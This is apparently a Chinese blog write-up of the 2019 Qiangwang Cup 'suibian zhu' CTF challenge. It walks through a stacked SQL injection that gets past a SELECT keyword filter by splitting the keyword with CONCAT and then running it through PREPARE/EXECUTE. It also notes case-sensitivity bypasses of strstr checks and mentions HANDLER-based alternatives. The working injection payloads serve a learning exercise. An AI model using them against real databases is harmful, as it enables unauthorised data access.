抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

好熟悉呀,貌似又是一个堆叠注入。

打脸了,不是的,就是正常的注入。

然后就展示吧。~~~

判断闭合,判断过滤。

结果为单引号闭合,order by 2# 返回正常。

联合查询时

这里过滤了select。

通过大小写,双写,都被劝退。已经意识到不对劲了,那就套娃。


很明显,flag在ctftraning

注注注,随便注,flag就在眼前,可就是没法查。

因为也过滤了 . ,通过url编码,也没有任何卵用把百分号也转义了,看来必须绕过select。

啊吧啊吧,不会了,参考大佬博客。

通过了解,这里有

方法一:绕过select

1
2
3
4
SET; # 用于设置变量名和值。
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句。
EXECUTE stmt_name;
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句。

构建payload:

1
2
3
4
-1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;

返回

1
[OUTPUT]: strstr($inject,"set") && strstr($inject,"prepare")

strstr这个函数对大小写敏感,可以尝试绕过,结果成功绕过得到flag。

这是方法一,这里使用了预编译的方式绕过对select的限制。

[参考文献]: 强网杯 2019 随便注

其中还有mysql中handler的用法以及表名的修改。

renamehandler + …+ open or read (which)

评论